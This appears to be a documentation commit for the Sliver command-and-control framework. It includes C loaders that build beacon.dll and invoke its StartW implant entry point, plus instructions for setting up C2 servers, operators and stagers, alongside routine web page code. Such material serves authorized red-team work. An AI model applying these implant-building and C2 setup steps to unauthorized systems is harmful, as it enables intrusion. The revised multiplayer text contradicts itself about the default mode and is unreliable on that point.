```shell
x86_64-w64-mingw32-g++ -std=c++11 -Wall -I. -shared -o beacon.dll wrapper.cpp ARCHITECTURAL_YOKE.a
```
## Validate Symbol Resolution
Sample minimal loader to confirm the DLL loads and the `StartW` export resolves:
```c
#include <windows.h>
#include <stdio.h>
int main() {
HMODULE h = LoadLibraryA("beacon.dll");
if (!h) {
printf("LoadLibrary failed: %lu\n", GetLastError());
return 1;
}
FARPROC p = GetProcAddress(h, "StartW");
printf("LoadLibrary OK, StartW=%p\n", p);
FreeLibrary(h);
return 0;
}
```
Build the loader:
```shell
x86_64-w64-mingw32-gcc -Wall -o loader.exe loader.c
```
Run the loader in an authorized local test environment with `beacon.dll` in the same directory.
## Validate Invocation
To validate that the resolved entrypoint can be invoked, use a small test application:
```c
#include <windows.h>
#include <stdio.h>
typedef void (*StartWFn)(void);
int main() {
HMODULE h = LoadLibraryA("beacon.dll");
if (!h) {
printf("LoadLibrary failed: %lu\n", GetLastError());
return 1;
}
StartWFn StartW = (StartWFn)GetProcAddress(h, "StartW");
if (!StartW) {
printf("GetProcAddress failed: %lu\n", GetLastError());
return 1;
}
printf("Calling StartW...\n");
StartW();
printf("StartW returned\n");
FreeLibrary(h);
return 0;
}
```
Build the invocation test:
```shell
x86_64-w64-mingw32-gcc -Wall -o call_startw.exe call_startw.c
```
This validates the archive-to-DLL link path, DLL loading, export lookup, and `StartW` invocation all work as expected.
@@ -1,10 +1,10 @@
This script will install the latest version of Sliver as a systemd service, installs Windows cross-compiler dependencies (mingw), and setup multiplayer for the all local users. After running the script connect locally by running `sliver`.
This script installs the latest version of Sliver as a systemd service, installs Windows cross-compiler dependencies (mingw), and sets up multiplayer for all local users. After running the script, connect locally by running `sliver`.
https://sliver.sh/install
This script should work on Kali, Ubuntu, and RHEL (CentOS, etc) distributions of Linux.
**⚠️ OPSEC:** By default the Linux install script will bind the multiplayer listener to `:31337` i.e. all interfaces. Ensure your firewalls are properly configured if this is a concern, or reconfigure the server to bind to localhost if you only wish to allow local users. Multiplayer Mode is authenticated using mTLS/gRPC and per-operator bearer tokens, so this doesn't present a security problem (notwithstanding bugs in our implementation), but publicly exposing your multiplayer listener will make it trivial to identify what the server is running.
**⚠️ OPSEC:** By default the Linux install script will bind the multiplayer listener to `:31337` on all interfaces. In current releases that is the WireGuard-protected multiplayer listener, so the outer service is UDP/31337 and the authenticated gRPC/mTLS server only exists inside the tunnel. Ensure your firewalls are properly configured if this is a concern, or reconfigure the server to bind to localhost if you only wish to allow local users. Publicly exposing the multiplayer listener still makes the server easier to discover and fingerprint.
### One Liner
@@ -1,4 +1,6 @@
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to set up a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
Multiplayer mode allows multiple operators to connect to the same Sliver server and collaborate on engagements. The easiest way to set up a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script), which configures the server as a systemd service. However, any `sliver-server` binary supports multiplayer mode.
Sliver exposes the operator-facing multiplayer listener directly over gRPC/mTLS by default. You can opt into a dedicated WireGuard wrapper with `--enable-wg`; the gRPC/mTLS authentication stack still runs inside that tunnel.
```
┌──────────────────┐ C2
@@ -8,7 +10,8 @@ Multiplayer-mode allows multiple operators (players) to connect to the same Sliv
└──────────────────┘
▲
│
gRPC/mTLS │
UDP/WireGuard (default) │
gRPC/mTLS inside │
┌────────────┬────────┴─────┬───────────┐
│ │ │ │
┌─────┴──┐ │ │ ┌──┴─────┐
@@ -18,32 +21,39 @@ Multiplayer-mode allows multiple operators (players) to connect to the same Sliv
└────────┘ └────────┘
```
## New Operators
## Default WireGuard-Protected Mode
Operators will need to download their preferred platform's client software from the releases page. Clients can connect to servers of differing platforms (e.g. a Windows client can connect to a Linux server). Operators and servers authenticate using Mutual TLS, however all the certificates are managed automatically for you.
- If you did not install the server as a systemd service, be sure to leave the server console running in screen or [tmux](https://github.com/tmux/tmux) after starting the multiplayer listener.
- If you did install the server as systemd service see the CLI section below for an alternative to the console commands for generating operator configs.
- If you did install the server as a systemd service, see the CLI section below for an alternative to the console commands for generating operator configs.
Operators need a configuration file generated by the Sliver server to connect in multiplayer mode. The Sliver client can support multiple configuration files, but you can only be connected to one server at a time (per process).
From the server use the `new-operator` command to generate a new operator configuration file. You'll need to specify the operator's `--name` and the `--lhost` of the server (e.g., its public IP). Then from the server start a multiplayer listener using the `multiplayer` command to allow operators to connect:
In the default mode:
**Note:** The `new-operator` and `multiplayer` commands are only accessible from the server's console
- `multiplayer` exposes a WireGuard listener on `--lport` (default `31337`) over UDP.
- The authenticated gRPC/mTLS server only listens inside that WireGuard tunnel.
- `new-operator` generates a per-operator WireGuard keypair and tunnel IP, then embeds that information in the operator config's `wg` block.
- The multiplayer listener uses WireGuard keys that are separate from Sliver's implant `wg` C2 listener.
- `sliver-client` automatically uses the WireGuard wrapper when the imported config contains that `wg` block.
From the server, start the multiplayer listener and generate an operator config with the server's public address or hostname in `--lhost`. Use `--permissions all` for a standard interactive operator profile:
**Note:** The `new-operator` and `multiplayer` commands are only available from the server console.
```
[server] sliver > new-operator --name moloch --lhost 1.2.3.4
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/moloch/Desktop/moloch_example.com.cfg
[server] sliver > multiplayer
[*] Multiplayer mode enabled!
[server] sliver > new-operator --name moloch --lhost 1.2.3.4 --permissions all
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/moloch/Desktop/moloch_example.com.cfg
```
**IMPORTANT:** Before clients can connect to a server you must start an RPC listener with the `multiplayer` command. The default port is TCP/31337.
**IMPORTANT:** Before clients can connect to a server you must start a multiplayer listener with the `multiplayer` command. By default multiplayer is exposed directly on TCP/31337. If you enable the wrapper, the outer listener becomes UDP/31337 and the gRPC/mTLS service stays inside the tunnel.
You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The Sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` CLI. The configs directory can contain multiple configs for different servers.
@@ -56,19 +66,48 @@ $ ./sliver-client
localhost
```
## Direct mTLS Mode
If you want the old behavior, or you need compatibility with third-party gRPC clients that do not implement the multiplayer WireGuard wrapper, disable it on both the listener and the generated operator profile:
```
[server] sliver > multiplayer
[*] Multiplayer mode enabled!
[server] sliver > new-operator --name tester --lhost 1.2.3.4 --permissions all
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/tester/Desktop/tester_example.com.cfg
```
In direct mode:
- Multiplayer is exposed directly over TCP on `--lport` (default `31337`).
- Generated operator configs omit the `wg` block.
- `sliver-client --enable-wg` opts into the multiplayer WireGuard wrapper when the operator config includes a `wg` block.
The listener mode, operator config, and client flag need to match. A WireGuard-wrapped listener needs a `wg` block in the operator profile plus `sliver-client --enable-wg`. Direct multiplayer works without the `wg` block and without the flag.
### Server CLI / Daemon Mode Multiplayer
If the server is running in daemon mode (as is the default with the Linux install script), that means the multiplayer listener is started for you without an interactive console. You can use the server binaries' CLI to generate operator configuration files to connect:
If the server is running in daemon mode, the multiplayer listener is started for you without an interactive console. By default the daemon uses direct multiplayer mTLS. You can opt into the WireGuard wrapper with `sliver-server daemon --enable-wg` or `daemon.enable_wg: true` in `server.yaml`.
Use the server CLI to generate operator configuration files:
```
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --save zer0cool.cfg
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfg
```
The installation scripts by default will place the `sliver-server` binary in `/root`.
Operator profiles omit the multiplayer `wg` block by default. Add `--enable-wg` when the listener is wrapped in WireGuard.
The installation script places the `sliver-server` binary in `/root` by default.
### Tailscale Integration
Sliver v1.6 supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when wanting to maintain operational security.
Sliver supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when you want to keep the multiplayer listener off the public Internet.
Tailscale mode is separate from the default multiplayer WireGuard wrapper. When you use `multiplayer -T`, Sliver exposes the listener only through Tailscale instead of layering its own multiplayer WireGuard tunnel on top.
```
$ export TS_AUTHKEY=<tailscale authkey>
@@ -77,4 +116,4 @@ $ ./sliver-server
sliver > multiplayer -T
```
You should now see a new Tailscale host named `sliver-server-<machine>`, you can set this using the `--lhost` flag. Use this as the hostname when connecting to the Sliver server from any other host on the Tailscale network.
You should now see a new Tailscale host named `sliver-server-<machine>`. Use that hostname as `--lhost` when generating operator configs for other hosts on the same tailnet. Tailscale multiplayer does not use the multiplayer WireGuard wrapper, so operator profiles should be generated without `--enable-wg`.
+6 -2
View File
@@ -14,7 +14,7 @@ For this to work, we need the following pieces:
- a staging server (the Sliver server)
- a stage 2 payload (usually a Sliver shellcode, but can be in other formats)
- stagers (generated by `msfvenom`, the Sliver `generate stager` command, or a custom one)
- stagers (generated by `msfvenom` or built by hand, see [Custom Stagers](#custom-stagers) below)
## Example
@@ -81,7 +81,11 @@ ID Name Protocol Port
**Using Metasploit stagers is only supported on Windows.**
#### Generating an HTTP stager
> **Note:** The Sliver `generate stager` command has been removed and will no longer
> work. Generate stagers using Metasploit's `msfvenom` (or write your own custom
> stager, see [Custom Stagers](#custom-stagers) below).
#### Generating an HTTP(S) stager
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
```
+190 -126
View File
@@ -1,148 +1,212 @@
import AsciinemaPlayer from "@/components/asciinema";
import { SliversIcon } from "@/components/icons/slivers";
import TutorialCard from "@/components/tutorial-card";
import { Themes } from "@/util/themes";
import { faDownload, faExternalLink } from "@fortawesome/free-solid-svg-icons";
import {
faArrowUpRightFromSquare,
faDownload,
} from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Button, Card, CardBody, CardHeader, Divider, Link } from "@heroui/react";
import { useTheme } from "next-themes";
import { Button, Card, buttonVariants } from "@heroui/react";
import Head from "next/head";
import Link from "next/link";
import { useRouter } from "next/router";
import React from "react";
export default function Home() {
const router = useRouter();
const { resolvedTheme } = useTheme();
const [mounted, setMounted] = React.useState(false);
React.useEffect(() => {
setMounted(true);
}, []);
const isDarkTheme = React.useMemo(() => {
if (!mounted) {
return true;
}
return (resolvedTheme || Themes.DARK) !== Themes.LIGHT;
}, [mounted, resolvedTheme]);
return (
<div className="mt-6 flex flex-col gap-6 px-4 sm:px-6 lg:grid lg:grid-cols-12 lg:px-12">
<div className="lg:col-span-6">
<div className="w-full overflow-hidden rounded-xl border border-default-200 bg-content1 shadow-sm dark:border-default-100/60">
<div className="w-full overflow-x-auto lg:overflow-visible">
<AsciinemaPlayer
src="/asciinema/intro.cast"
rows="18"
cols="75"
idleTimeLimit={60}
preload={true}
autoPlay={true}
loop={true}
/>
</div>
</div>
</div>
<div className="lg:col-span-6 lg:ml-2">
<Card className="mx-auto max-w-3xl lg:mx-0">
<CardHeader>
<div className="flex items-center">
<SliversIcon className="mr-2" height={28} />
<span className="text-2xl">Sliver Command &amp; Control</span>
<>
<Head>
<title>Sliver C2 Documentation</title>
<meta
name="description"
content="Documentation, tutorials, and community resources for the Sliver command and control framework."
/>
</Head>
<div className="relative overflow-hidden">
<div className="sliver-grid-surface pointer-events-none absolute inset-x-0 top-0 h-[34rem] opacity-55" />
<div className="relative mx-auto w-full max-w-7xl px-4 pb-20 pt-8 sm:px-6 sm:pt-12 lg:px-8 lg:pt-16">
<section className="grid min-w-0 grid-cols-1 items-stretch gap-6 lg:grid-cols-12">
<div className="min-w-0 lg:col-span-7">
<Card className="relative h-full min-w-0 gap-0 overflow-hidden rounded-3xl bg-black p-0 shadow-surface">
<div className="absolute right-3 top-3 z-10 max-w-[calc(100%_-_1.5rem)]">
<Link
href="/tutorials"
aria-label="Browse Sliver tutorials"
className="inline-flex min-w-0 cursor-pointer items-center gap-2.5 rounded-xl border border-white/15 bg-black/55 px-3 py-2 text-white no-underline shadow-lg outline-none backdrop-blur-xl hover:bg-black/70 focus-visible:ring-2 focus-visible:ring-white/70"
>
<span className="flex size-7 shrink-0 items-center justify-center rounded-lg bg-white/10 text-white/90">
<SliversIcon height={16} />
</span>
<div className="min-w-0">
<p className="truncate text-xs font-semibold">
Sliver operator console
</p>
<p className="truncate text-[11px] text-white/60">
Interactive command tour
</p>
</div>
</Link>
</div>
<div className="sliver-terminal-frame min-h-[20rem] flex-1 overflow-x-auto bg-[#111315] sm:min-h-[24rem]">
<AsciinemaPlayer
className="sliver-asciinema-bottom-aligned h-full w-full sm:min-w-[35rem]"
src="/asciinema/intro.cast"
fit="width"
hideControls
rows="18"
cols="75"
idleTimeLimit={60}
preload={true}
autoPlay={true}
loop={true}
/>
</div>
</Card>
</div>
</CardHeader>
<Divider />
<CardBody>
<p className={isDarkTheme ? "prose dark:prose-invert" : "prose prose-slate"}>
Sliver is a powerful command and control (C2) framework designed
to provide advanced capabilities for covertly managing and
controlling remote systems. With Sliver, security professionals,
red teams, and penetration testers can easily establish a secure
and reliable communication channel over Mutual TLS, HTTP(S), DNS,
or Wireguard with target machines. Enabling them to execute
commands, gather information, and perform various
post-exploitation activities. The framework offers a user-friendly
console interface, extensive functionality, and support for
multiple operating systems as well as multiple CPU architectures,
making it an indispensable tool for conducting comprehensive
offensive security operations.
</p>
<div className="mt-4 flex w-full gap-3">
<Card className="h-full bg-surface/80 shadow-surface backdrop-blur-2xl lg:col-span-5">
<Card.Header className="pb-3">
<div className="min-w-0">
<p className="text-sm font-medium text-accent">
Operator documentation
</p>
<h1 className="mt-1 text-balance text-3xl font-semibold tracking-tight text-foreground sm:text-4xl">
Sliver Command &amp; Control
</h1>
</div>
</Card.Header>
<Card.Content className="pt-2">
<p className="text-pretty text-base leading-7 text-muted">
Sliver is a cross-platform command and control framework for
professional red teams. Operate over mTLS, WireGuard, HTTP(S),
and DNS from one console, with broad operating-system and CPU
architecture support.
</p>
<p className="mt-4 text-sm leading-6 text-muted">
Start with the operator guide, download the latest release, or
extend your workflow with community packages from the Armory.
</p>
</Card.Content>
<Card.Footer className="mt-auto flex-col items-stretch gap-3 pt-5">
<div className="grid grid-cols-1 gap-3 sm:grid-cols-2">
<Button
fullWidth
variant="primary"
onPress={() =>
router.push({
pathname: "/docs",
query: { name: "Getting Started" },
})
}
>
Get started
</Button>
<Button
className="[--button-bg-hover:var(--color-purple-700)] [--button-bg-pressed:var(--color-purple-700)] [--button-bg:var(--color-purple-600)] [--button-fg:var(--color-white)]"
fullWidth
variant="tertiary"
onPress={() => {
window.open(
"https://github.com/BishopFox/sliver/releases/latest",
"_blank",
"noopener,noreferrer",
);
}}
>
<FontAwesomeIcon icon={faDownload} />
Latest release
</Button>
</div>
<a
className={buttonVariants({
fullWidth: true,
variant: "secondary",
})}
href="https://github.com/sliverarmory"
target="_blank"
rel="noreferrer"
>
Browse the Armory
<FontAwesomeIcon
className="text-xs"
icon={faArrowUpRightFromSquare}
/>
</a>
</Card.Footer>
</Card>
</section>
<section
aria-labelledby="quick-guides-heading"
className="mt-12 border-t border-separator/70 pt-10"
>
<div className="flex flex-col gap-3 sm:flex-row sm:items-end sm:justify-between">
<div>
<h2
id="quick-guides-heading"
className="text-sm font-medium text-accent"
>
Quick guides
</h2>
<blockquote className="mt-1 max-w-3xl text-xl font-medium italic leading-snug tracking-tight text-foreground sm:text-2xl">
Bred as living shields, these slivers have proven unruly—they
know they cannot be caught.
</blockquote>
</div>
<Button
className="flex-1"
color="primary"
variant="shadow"
as={Link}
href="https://github.com/BishopFox/sliver/releases/latest"
target="_blank"
rel="noopener noreferrer"
startContent={<FontAwesomeIcon icon={faDownload} />}
>
Download Latest Release
</Button>
<Button
className="flex-1"
color="secondary"
variant="ghost"
as={Link}
href="https://github.com/sliverarmory"
target="_blank"
rel="noopener noreferrer"
endContent={<FontAwesomeIcon icon={faExternalLink} />}
onPress={() => router.push("/tutorials")}
>
Visit the Armory
Browse all tutorials
</Button>
</div>
</CardBody>
</Card>
</div>
<div className="col-span-12 mt-8">
<Divider />
</div>
<div className="mt-6 grid min-w-0 grid-cols-1 gap-5 xl:grid-cols-2">
<TutorialCard
name="Getting Started"
description="Install Sliver and open your first operator workflow."
asciiCast="/asciinema/install-1.cast"
cols="133"
rows="32"
idleTimeLimit={1}
hideControls
showButton={true}
buttonText="Read guide"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: "Getting Started" },
});
}}
/>
<div className="col-span-12 mt-8">
<div className="grid gap-4 sm:grid-cols-2 lg:grid-cols-9">
<div className="sm:col-span-1 lg:col-span-3">
<TutorialCard
name="Getting Started"
description="A quick start guide to get you up and running"
asciiCast="/asciinema/install-1.cast"
cols="133"
rows="32"
idleTimeLimit={1}
showButton={true}
buttonText="Read Docs"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: "Getting Started" },
});
}}
/>
</div>
<div className="sm:col-span-1 lg:col-span-3">
<TutorialCard
name="Compile From Source"
description="How to compile Sliver from source"
asciiCast="/asciinema/compile-from-source.cast"
cols="133"
rows="32"
idleTimeLimit={1}
showButton={true}
buttonText="Read Docs"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: "Compile from Source" },
});
}}
/>
</div>
<TutorialCard
name="Compile from Source"
description="Build a development copy and understand the toolchain."
asciiCast="/asciinema/compile-from-source.cast"
cols="133"
rows="32"
idleTimeLimit={1}
hideControls
showButton={true}
buttonText="Read guide"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: "Compile from Source" },
});
}}
/>
</div>
</section>
</div>
</div>
<div className="col-span-12 mb-8"></div>
</div>
</>
);
}
+137 -38
View File
@@ -1,66 +1,165 @@
import MarkdownViewer from "@/components/markdown";
import { useSearchContext } from "@/util/search-context";
import { faChevronCircleRight } from "@fortawesome/free-solid-svg-icons";
import LoadingState from "@/components/loading-state";
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
import { fetchDocs as fetchDocsContent } from "@/util/content-fetchers";
import { SearchCtx } from "@/util/search-context";
import {
faChevronRight,
faMagnifyingGlass,
} from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Button, Card, CardBody, Divider } from "@heroui/react";
import { Button, Card, SearchField } from "@heroui/react";
import { useQuery } from "@tanstack/react-query";
import { NextPage } from "next";
import Head from "next/head";
import { useSearchParams } from "next/navigation";
import { useRouter } from "next/router";
import React from "react";
export type SearchPageProps = {};
const createExcerpt = (markdown: string) => {
return markdown
.replace(/```[\s\S]*?```/g, " ")
.replace(/!\[[^\]]*\]\([^)]*\)/g, " ")
.replace(/\[([^\]]+)\]\([^)]*\)/g, "$1")
.replace(/[#>*_`~|-]/g, " ")
.replace(/\s+/g, " ")
.trim()
.slice(0, 240);
};
const SearchPage: NextPage = (props: SearchPageProps) => {
const router = useRouter();
const search = useSearchContext();
const query = useSearchParams().get("search");
const query = useSearchParams().get("search")?.trim() || "";
const { data: docs, isLoading } = useQuery({
queryKey: ["docs", PREBUILD_VERSION],
queryFn: () => fetchDocsContent(PREBUILD_VERSION),
});
const docsSearch = React.useMemo(() => {
const search = new SearchCtx();
if (docs) {
search.addDocs(docs);
}
return search;
}, [docs]);
const searchResults = React.useMemo(() => {
if (query) {
return search.searchDocs(query);
return docsSearch.searchDocs(query);
}
return [];
}, [query, search]);
}, [docsSearch, query]);
if (isLoading || !docs) {
return <LoadingState />;
}
return (
<div className="px-4 pb-8 pt-4">
<div className="mx-auto flex w-full max-w-5xl flex-col gap-4">
<div className="text-3xl">
Search: &quot;{query?.slice(0, 50)}&quot;
<div className="text-sm text-gray-500">
{searchResults.length} Results
<>
<Head>
<title>{query ? `Search: ${query} · Sliver Docs` : "Search · Sliver Docs"}</title>
</Head>
<div className="mx-auto w-full max-w-5xl px-4 pb-20 pt-12 sm:px-6 lg:px-8 lg:pt-16">
<header className="max-w-3xl">
<p className="text-sm font-medium text-accent">Search the reference</p>
<h1 className="mt-2 text-balance text-4xl font-semibold tracking-tight text-foreground sm:text-5xl">
Find exactly what you need.
</h1>
<p className="mt-4 text-lg leading-8 text-muted">
Search configuration, workflows, transports, extensions, and
troubleshooting notes across the Sliver documentation.
</p>
</header>
<SearchField
key={query}
aria-label="Search documentation"
className="mt-8 max-w-2xl"
defaultValue={query}
fullWidth
onClear={() => router.push("/search")}
onSubmit={(value) => {
const nextQuery = value.trim();
if (nextQuery) {
router.push({ pathname: "/search", query: { search: nextQuery } });
}
}}
>
<SearchField.Group>
<SearchField.SearchIcon>
<FontAwesomeIcon icon={faMagnifyingGlass} />
</SearchField.SearchIcon>
<SearchField.Input placeholder="Search documentation…" />
<SearchField.ClearButton aria-label="Clear search" />
</SearchField.Group>
</SearchField>
<div className="mt-10 flex items-end justify-between gap-4">
<div>
<h2 className="text-2xl font-semibold text-foreground">
{query ? `Results for “${query.slice(0, 50)}”` : "Search results"}
</h2>
<p className="mt-1 text-sm tabular-nums text-muted">
{searchResults.length} {searchResults.length === 1 ? "result" : "results"}
</p>
</div>
</div>
{searchResults.map((doc) => (
<Card key={doc.name}>
<CardBody className="flex flex-col gap-3">
<div className="flex flex-col gap-3 sm:flex-row sm:items-center">
<span className="text-xl">{doc.name}</span>
<div className="flex-1"></div>
{searchResults.length > 0 ? (
<div className="mt-5 grid gap-4">
{searchResults.map((doc) => (
<Card key={doc.name}>
<Card.Header>
<Card.Title>{doc.name}</Card.Title>
<Card.Description className="mt-1 max-w-3xl leading-6">
{createExcerpt(doc.content) || "Open this article in the Sliver reference."}
{doc.content.length > 240 ? "…" : ""}
</Card.Description>
</Card.Header>
<Card.Footer>
<Button
variant="ghost"
onPress={() => {
router.push({ pathname: "/docs", query: { name: doc.name } });
}}
>
Open article
<FontAwesomeIcon icon={faChevronRight} />
</Button>
</Card.Footer>
</Card>
))}
</div>
) : (
<Card className="mt-5">
<Card.Content className="flex flex-col items-start gap-3 p-8">
<span className="flex size-10 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faMagnifyingGlass} />
</span>
<div>
<h2 className="text-lg font-semibold text-foreground">
{query ? "No matching documentation" : "Start with a keyword"}
</h2>
<p className="mt-1 max-w-xl text-sm leading-6 text-muted">
{query
? "Try a command name, transport, feature, or a shorter phrase."
: "Search for topics like staging, WireGuard, profiles, or extensions."}
</p>
</div>
{query ? (
<Button
size="sm"
color="secondary"
className="w-full sm:w-[150px]"
onPress={() => {
router.push(`/docs?name=${doc.name}`);
}}
variant="outline"
onPress={() => router.push("/docs")}
>
Full Doc
<FontAwesomeIcon icon={faChevronCircleRight} />
Browse all documentation
</Button>
</div>
<Divider />
<div className="max-h-[200px] overflow-hidden">
<MarkdownViewer markdown={doc.content} />
</div>
</CardBody>
) : null}
</Card.Content>
</Card>
))}
)}
</div>
</div>
</>
);
};
+113 -58
View File
@@ -1,7 +1,7 @@
import Youtube from "@/components/youtube";
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
import { faArrowUpRightFromSquare } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Accordion, AccordionItem, Button, Card, CardFooter } from "@heroui/react";
import { Accordion, Card } from "@heroui/react";
import { NextPage } from "next";
import Head from "next/head";
import React from "react";
@@ -21,7 +21,7 @@ type TalkSection = {
const workshopTalks: Talk[] = [
{
title:"Getting Started with Sliver v1.6",
title: "Getting Started with Sliver v1.6",
description: "Introductory workshop covering basics and new features.",
url: "https://www.youtube.com/watch?v=IOiyXYp1lDc",
},
@@ -47,7 +47,7 @@ const generalTradecraftTalks: Talk[] = [
title: "The Sliver C2 Framework",
description: "General discussion of C2 design.",
url: "https://www.youtube.com/watch?v=tkjMZuZ_8nw",
}
},
];
const communityTalks: Talk[] = [
@@ -100,69 +100,124 @@ const talkSections: TalkSection[] = [
];
const TalksIndexPage: NextPage = () => {
const [footerHidden, setFooterHidden] = React.useState<Record<string, boolean>>(
{}
);
const [overlayHidden, setOverlayHidden] = React.useState<
Record<string, boolean>
>({});
const hideFooterFor = React.useCallback((url: string) => {
setFooterHidden((prev) => (prev[url] ? prev : { ...prev, [url]: true }));
const hideOverlayFor = React.useCallback((url: string) => {
setOverlayHidden((current) =>
current[url] ? current : { ...current, [url]: true },
);
}, []);
return (
<>
<Head>
<title>Sliver Talks</title>
<meta
name="description"
content="Sliver workshops, technical talks, and community videos."
/>
</Head>
<div className="mt-6 px-4 pb-8 sm:px-6 lg:px-12">
<Accordion
selectionMode="multiple"
defaultExpandedKeys={["workshops", "general-tradecraft"]}
showDivider={false}
className="px-0"
>
{talkSections.map((section) => (
<AccordionItem
key={section.key}
aria-label={section.title}
title={section.title}
subtitle={section.description}
>
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-9">
{section.talks.map((talk) => (
<div key={talk.url} className="sm:col-span-1 lg:col-span-3">
<Card isFooterBlurred className="relative z-0 overflow-hidden">
<Youtube
className="w-full"
url={talk.url}
title={talk.title}
onPlay={() => hideFooterFor(talk.url)}
/>
{footerHidden[talk.url] ? null : (
<CardFooter className="absolute bottom-0 z-10 bg-black/40 border-t-1 border-default-600 dark:border-default-100">
<div className="flex w-full items-center gap-2">
<p className="text-xs text-white/80">{talk.description}</p>
<Button
variant="ghost"
color="warning"
size="sm"
className="ml-auto"
onPress={() => {
window.open(talk.url, "_blank", "noopener,noreferrer");
}}
>
Watch <FontAwesomeIcon icon={faChevronRight} />
</Button>
</div>
</CardFooter>
)}
</Card>
</div>
))}
</div>
</AccordionItem>
))}
</Accordion>
<div className="relative overflow-hidden">
<div className="sliver-grid-surface pointer-events-none absolute inset-x-0 top-0 h-72 opacity-35" />
<div className="relative mx-auto w-full max-w-7xl px-4 pb-20 pt-8 sm:px-6 sm:pt-10 lg:px-8 lg:pt-12">
<header className="mb-6 max-w-3xl">
<p className="text-sm font-medium text-accent">Talks &amp; workshops</p>
<h1 className="mt-1 text-balance text-3xl font-semibold tracking-tight text-foreground sm:text-4xl">
Watch Sliver in the field.
</h1>
<p className="mt-3 max-w-2xl text-base leading-7 text-muted">
Practical workshops, technical deep dives, and community sessions
collected in one compact library.
</p>
</header>
<Accordion
allowsMultipleExpanded
defaultExpandedKeys={["workshops", "general-tradecraft"]}
hideSeparator
className="w-full px-0"
>
{talkSections.map((section) => (
<Accordion.Item key={section.key} id={section.key}>
<Accordion.Heading>
<Accordion.Trigger>
<span className="flex flex-col items-start text-left">
<span className="flex items-center gap-2 text-lg font-semibold text-foreground">
{section.title}
<span className="text-xs font-normal tabular-nums text-muted">
{section.talks.length}
</span>
</span>
<span className="mt-1 text-sm text-muted">
{section.description}
</span>
</span>
<Accordion.Indicator className="ml-auto" />
</Accordion.Trigger>
</Accordion.Heading>
<Accordion.Panel>
<Accordion.Body>
<div className="grid grid-cols-1 gap-4 md:grid-cols-2 xl:grid-cols-3">
{section.talks.map((talk) => (
<Card
key={talk.url}
className="relative z-0 gap-0 overflow-hidden bg-black p-0 shadow-surface"
>
<Youtube
className="w-full"
url={talk.url}
title={talk.title}
onInteract={() => hideOverlayFor(talk.url)}
onPlay={() => hideOverlayFor(talk.url)}
/>
{overlayHidden[talk.url] ? null : (
<>
<div
aria-hidden="true"
className="pointer-events-none absolute inset-x-0 bottom-0 h-32 bg-gradient-to-t from-black/85 via-black/35 to-transparent"
/>
<div className="pointer-events-none absolute inset-x-3 bottom-3 z-10">
<div className="flex items-end gap-3 rounded-2xl border border-white/15 bg-black/55 p-3 text-white shadow-xl backdrop-blur-xl">
<div className="min-w-0 flex-1">
<h3 className="text-sm font-semibold leading-snug text-white">
{talk.title}
</h3>
<p className="mt-0.5 truncate text-xs text-white/65">
{talk.description}
</p>
</div>
<a
href={talk.url}
target="_blank"
rel="noreferrer"
aria-label={`Watch ${talk.title} on YouTube`}
className="pointer-events-auto inline-flex min-h-9 shrink-0 items-center gap-1.5 rounded-xl px-2.5 text-xs font-semibold text-white no-underline outline-none transition-colors hover:bg-white/10 focus-visible:ring-2 focus-visible:ring-white/70"
>
Watch
<FontAwesomeIcon
className="text-[10px]"
icon={faArrowUpRightFromSquare}
/>
</a>
</div>
</div>
</>
)}
</Card>
))}
</div>
</Accordion.Body>
</Accordion.Panel>
</Accordion.Item>
))}
</Accordion>
</div>
</div>
</>
);
+164 -108
View File
@@ -3,30 +3,28 @@ import LoadingState from "@/components/loading-state";
import { Tutorials } from "@/util/tutorials";
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
import { fetchTutorials as fetchTutorialsContent } from "@/util/content-fetchers";
import { Themes } from "@/util/themes";
import { faSearch } from "@fortawesome/free-solid-svg-icons";
import {
faChevronRight,
faGraduationCap,
faSearch,
} from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Button,
Card,
CardBody,
CardHeader,
Divider,
Input,
Listbox,
ListboxItem,
ListBox,
ScrollShadow,
SearchField,
} from "@heroui/react";
import { useQuery } from "@tanstack/react-query";
import Fuse from "fuse.js";
import { NextPage } from "next";
import { useTheme } from "next-themes";
import Head from "next/head";
import { useSearchParams } from "next/navigation";
import { useRouter } from "next/router";
import React from "react";
const TutorialsIndexPage: NextPage = () => {
const { theme } = useTheme();
const router = useRouter();
const { data: tutorials, isLoading } = useQuery({
@@ -75,13 +73,29 @@ const TutorialsIndexPage: NextPage = () => {
return selectedTutorial ? [selectedTutorial, ...visibleTutorials] : visibleTutorials;
}, [name, tutorials, visibleTutorials]);
const listboxClasses = React.useMemo(() => {
if (theme === Themes.DARK) {
